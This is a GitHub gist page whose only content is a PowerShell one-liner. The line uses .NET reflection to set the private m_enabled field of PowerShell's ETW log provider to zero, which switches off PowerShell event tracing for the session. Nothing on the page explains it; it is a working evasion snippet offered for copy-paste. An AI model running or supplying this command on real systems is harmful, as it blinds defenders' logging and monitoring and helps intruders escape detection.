Skip to content

Instantly share code, notes, and snippets.

@S3cur3Th1sSh1t
Created August 11, 2020 07:53
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save S3cur3Th1sSh1t/ff02db442f04cfe3c233f9300781a29b to your computer and use it in GitHub Desktop.
Save S3cur3Th1sSh1t/ff02db442f04cfe3c233f9300781a29b to your computer and use it in GitHub Desktop.
[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment